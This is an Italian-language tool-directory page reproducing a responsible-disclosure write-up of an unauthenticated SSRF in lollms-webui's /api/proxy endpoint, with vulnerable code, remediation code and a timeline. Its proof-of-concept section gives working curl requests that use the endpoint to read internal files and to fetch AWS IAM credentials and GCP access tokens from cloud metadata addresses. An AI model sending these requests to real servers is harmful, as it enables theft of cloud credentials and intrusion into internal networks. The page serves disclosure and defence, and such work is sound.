Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33340 — CVE-2026-33340: SSRF critica in lollms-webui /api/proxy - Falsificazione arbitraria di richieste senza autenticazione (CVSS 9.1) | Kitploit
Strumenti/GitHubGitHub/regaan/cve-2026-33340
RicognizioneAnalisi delle VulnerabilitàExploitSicurezza WebSicurezza CloudApprendimento e Formazione
GitHubregaan/cve-2026-33340

CVE-2026-33340

CVE-2026-33340: SSRF critica in lollms-webui /api/proxy - Falsificazione arbitraria di richieste senza autenticazione (CVSS 9.1)

Vedi Repository
35 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33340: SSRF in lollms-webui

Panoramica

CampoDettaglio
CVE IDCVE-2026-33340
VulnerabilitàServer-Side Request Forgery (SSRF)
Prodotto interessatoParisNeo/lollms-webui (LoLLMs WEBUI)
GravitàCritica — CVSS 9.1
Vettore CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWECWE-918: Server-Side Request Forgery (SSRF)
Componente interessatolollms_core/lollms/server/endpoints/lollms_apps.py
Endpoint vulnerabile/api/proxy
AvvisoGHSA-mcwr-5469-pxj4
NVDVoce NVD
SentinelOneAnalisi SentinelOne
Scoperto daRegaan R — ROT Independent Security Research Lab

Riepilogo

È stata identificata una vulnerabilità critica di Server-Side Request Forgery (SSRF) in lollms-webui, l'interfaccia web per Lord of Large Language and Multi modal Systems. L'endpoint @router.post("/api/proxy") consente ad attaccanti non autenticati di forzare il server a effettuare richieste GET arbitrarie. Questo può essere sfruttato per accedere a servizi interni, scansionare reti locali o esfiltrare metadati cloud sensibili come i token IAM AWS/GCP.


Prodotto interessato

  • Repository: ParisNeo/lollms-webui / ParisNeo/lollms
  • Componente interessato: lollms_core/lollms/server/endpoints/lollms_apps.py (Righe 443-450)
  • Endpoint vulnerabile: /api/proxy
  • Versioni interessate: Tutte le versioni note esistenti

Analisi della causa principale

La vulnerabilità esiste perché la funzione proxy in lollms_apps.py non implementa l'autenticazione né alcuna forma di validazione di URL/dominio. Accetta una stringa URL grezza dall'utente e la passa direttamente a un client HTTP asincrono.

Codice vulnerabile

root@kitploit:~
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    try:
        async with httpx.AsyncClient() as client:
            # No check_access() call — unauthenticated
            # No URL validation — arbitrary destinations
            response = await client.get(request.url)
            return {"content": response.text}
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

Cosa non va

  1. Nessuna autenticazione: l'endpoint non chiama check_access(lollmsElfServer, request.client_id) né alcun middleware di autenticazione, consentendo a qualsiasi utente non autenticato di invocarlo.
  2. Nessuna validazione dell'URL: l'URL fornito dall'utente viene passato direttamente a httpx.AsyncClient().get() senza verificare la destinazione rispetto a una whitelist o bloccare gli intervalli di IP privati/interni.
  3. Divulgazione completa della risposta: l'intero corpo della risposta HTTP viene restituito al chiamante tramite {"content": response.text}, consentendo la completa esfiltrazione dei dati.

Proof of Concept

Passo 1 — Configurare un servizio interno simulato

root@kitploit:~
echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888

Passo 2 — Sfruttare la SSRF

root@kitploit:~
curl -X POST http://localhost:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://localhost:8888/secret.txt"}'

Passo 3 — Osservare la risposta

root@kitploit:~
{"content": "INTERNAL_SECRET_DATA\n"}

Il server ha recuperato il file dal servizio interno e ne ha restituito il contenuto all'attaccante.

Sfruttamento dei metadati cloud

root@kitploit:~
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'

# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
     -H "Content-Type: application/json" \
     -d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'

Impatto


Flusso dell'attacco

root@kitploit:~
Attacker                         lollms-webui Server                    Internal Network
   |                                    |                                      |
   |  POST /api/proxy                   |                                      |
   |  {"url": "http://169.254..."}      |                                      |
   |----------------------------------->|                                      |
   |                                    |  GET http://169.254.169.254/...      |
   |                                    |------------------------------------->|
   |                                    |                                      |
   |                                    |  200 OK (IAM credentials)            |
   |                                    |<-------------------------------------|
   |                                    |                                      |
   |  {"content": "<credentials>"}      |                                      |
   |<-----------------------------------|                                      |

Rimedi proposti

1. Aggiungere l'autenticazione

root@kitploit:~
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
    check_access(lollmsElfServer, request.client_id)  # Add this
    # ...

2. Implementare la validazione dell'URL

root@kitploit:~
from urllib.parse import urlparse
import ipaddress

BLOCKED_RANGES = [
    ipaddress.ip_network("127.0.0.0/8"),
    ipaddress.ip_network("10.0.0.0/8"),
    ipaddress.ip_network("172.16.0.0/12"),
    ipaddress.ip_network("192.168.0.0/16"),
    ipaddress.ip_network("169.254.0.0/16"),  # Cloud metadata
]

def is_safe_url(url: str) -> bool:
    parsed = urlparse(url)
    hostname = parsed.hostname
    if hostname in ("localhost", ""):
        return False
    try:
        ip = ipaddress.ip_address(hostname)
        return not any(ip in network for network in BLOCKED_RANGES)
    except ValueError:
        # Hostname is a domain — resolve and check
        import socket
        resolved = socket.gethostbyname(hostname)
        ip = ipaddress.ip_address(resolved)
        return not any(ip in network for network in BLOCKED_RANGES)

3. Limitare ai domini in whitelist

root@kitploit:~
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]

def is_whitelisted(url: str) -> bool:
    parsed = urlparse(url)
    return parsed.hostname in ALLOWED_DOMAINS

Stato della patch

Alla data di pubblicazione, una versione corretta di lollms-webui è già stata rilasciata.


Cronologia

DataEvento
2026-03-07Vulnerabilità scoperta e segnalata tramite GitHub Security Advisory
2026-03-24CVE-2026-33340 pubblicato su NVD
2026-03-25Voce del database NVD aggiornata
2026-03-27SentinelOne pubblica l'analisi della vulnerabilità

Riferimenti

  • NVD — CVE-2026-33340
  • GitHub Security Advisory — GHSA-mcwr-5469-pxj4
  • SentinelOne Vulnerability Database — CVE-2026-33340
  • Codice sorgente vulnerabile (Righe 443-450)

Scoperto da

Regaan R (@regaan) Ricercatore principale — ROT Independent Security Research Lab


Disclaimer

Questo writeup è pubblicato esclusivamente a scopo educativo e difensivo. La vulnerabilità è stata segnalata tramite divulgazione responsabile attraverso GitHub Security Advisories. Ottenere sempre la dovuta autorizzazione prima di testare le vulnerabilità.


Licenza

Questo writeup è rilasciato sotto CC BY 4.0.

Scarica lo strumento
ScenarioDescrizione
Furto di credenziali cloudGli attaccanti su piattaforme cloud (AWS/GCP/Azure) possono accedere a http://169.254.169.254/ per recuperare metadati dell'istanza, credenziali IAM e token di accesso — portando alla compromissione completa dell'account cloud.
Pivoting nella rete internaGli attaccanti possono sondare database interni, API, pannelli di amministrazione e interfacce di gestione non esposti alla rete pubblica.
Accesso ai servizi localhostGli attaccanti possono raggiungere i servizi in ascolto su localhost (Redis, Elasticsearch, API Docker, console di database) che si fidano implicitamente del traffico locale.
Scansione delle porte interneLa SSRF può essere utilizzata per enumerare le porte aperte e i servizi in esecuzione sulla rete interna osservando i tempi di risposta e i messaggi di errore.
Esfiltrazione dei datiQualsiasi dato accessibile via HTTP nella rete del server può essere letto e restituito all'attaccante.